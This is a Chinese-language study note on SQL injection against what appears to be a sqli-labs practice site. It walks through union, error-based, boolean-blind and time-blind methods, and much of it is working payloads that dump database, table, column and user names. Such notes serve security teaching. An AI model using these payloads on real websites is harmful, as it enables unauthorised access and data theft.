sql注入方式
1、联合注入
需要的条件是:
需要有回显位
列数要相同
注入流程
1)找注入点 ?id=1
例如:
http://www.sqli.test/Less-1/?id=1

2)判断数据类型
?id=1sdfsdf
报错:证明是整型
不报错:证明是字符串类型
例如:
http://www.sqli.test/Less-1/?id=1sdfgh

3)判断闭合方式
有以下几种:? id=1' 、?id=1" 、?id=1') 、?id=1") 、?id=1')) 、?id=1"))
例如:
http://www.sqli.test/Less-1/?id=1'

4)验证是否有漏洞
?id=1 and 1 ( ?id=1 and 1=1 ) 有数据
?id=1 and 0 ( ?id=1 and 1=0 ) 无数据
例如:
http://www.sqli.test/Less-1/?id=1' and 1 --+

http://www.sqli.test/Less-1/?id=1' and 0 --+

SQL的注释方式: # 、--空格 、-- + +在URL意思上是空格
5)判断列数 order by
例如:
http://www.sqli.test/Less-1/?id=1' order by 3 --+

6)联合查询 union
例如:
http://www.sqli.test/Less-1/?id=-1' union select 1,2,3 --+

7)获取各种数据(爆库 爆表 爆列 爆数据)
爆库
?id=-1' union select 1,database(),user() --+
例如:
http://www.sqli.test/Less-1/?id=-1' union select 1,database(),user() --+

爆表
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
例如:
http://www.sqli.test/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

爆列
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users' --+
例如:
http://www.sqli.test/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users' --+

爆数据
?id=-1' union select 1,group_concat(username),3 from users --+
例如:
http://www.sqli.test/Less-1/?id=-1' union select 1,group_concat(username),3 from users --+

2、报错注入
需要的条件是:
需要显示报错
报错注入的方式:
extractvalue(1, 2) 操作2的位置,可以进行爆库爆表爆列爆内容
语法 and extractvalue(1, 2)
例如:
http://www.sqli.test/Less-1/?id=1' and extractvalue(1,concat(0x7e,database())) --+

updatexml(1, 2, 3) 操作2的位置,可以进行爆库爆表爆列爆内容
语法 and updatexml(1, 2, 3)
例如:
http://www.sqli.test/Less-1/?id=1' and updatexml(1,concat(0x7e,database()),3) --+

floor()
语法 需要联合查询(*注意列数*)
例如:
http://www.sqli.test/Less-1/?id=1' union select 1,count(*),
concat((database()),'-',floor(rand(11)*2)) x from information_schema.tables group by x --+
0x7e是十六进制,可参考ASCII码表
3 、布尔盲注
布尔盲注相关函数
length() 获取字符串的长度
substr(字符串, 开始位置, 截取的长度);
mid(字符串, 开始位置, 截取的长度);
需要的条件是:
页面数据显示或不显示 (真和假的条件)
注入流程:
1)找注入点
例如:?id=1

2)判断数据类型
?id=1sdfsdf
报错:证明是整型
不报错:证明是字符串类型
3)判断闭合方式
有以下几种:? id=1' 、?id=1" 、?id=1') 、?id=1") 、?id=1')) 、?id=1"))
4)验证漏洞
?id=1 and 1 --+ 或 ?id=1 and 0 --+
SQL的注释方式: # 、--空格 、-- + "+"在URL意思上是空格
5)猜数据库的长度
?id=1' and length(database())>10 --+
6)猜数据库名称的第一个字符
方式1:
?id=1' and substr(database(),1,1)>='a' and substr(database(),1,1)<='z' --+
方式2:
?id=1' and ascii(substr(database(),1,1))>=97 and ascii(substr(database(),1,1))<=122 --+
7)猜数据表名的长度
?id=1 and length((查表的SQL语句))>10
查表的SQL语句:
select table_name from information_schema.tables where table_schema=database() limit 0,1
8)猜数据库名称的第一个字符
id=1 and substr((查表的SQL语句),1,1)>='a' and substr((查表的SQL语句),1,1)<='z'
查表的SQL语句
select table_name from information_schema.tables where table_schema=database() limit 0,1
4、时间盲注
需要的条件是:页面没有任何变化
时间盲注相关函数:
sleep();
if(条件, 真执行这里, 假执行这里);
注入流程:
判断闭合方式
id=1' and if(true, sleep(5), 'ok') --+
id=1" and if(true, sleep(5), 'ok') --+
id=1') and if(true, sleep(5), 'ok') --+
id=1") and if(true, sleep(5), 'ok') --+
id=1')) and if(true, sleep(5), 'ok') --+
id=1")) and if(true, sleep(5), 'ok') --+
查库
?id=1" and if((length(database())=8),sleep(5),'ok') --+
后面步骤一样把“database()”替换成爆表,爆列,爆数据语句放入
此总结是根据老师所教以及自己的笔记所写,有不对的地方请多多指教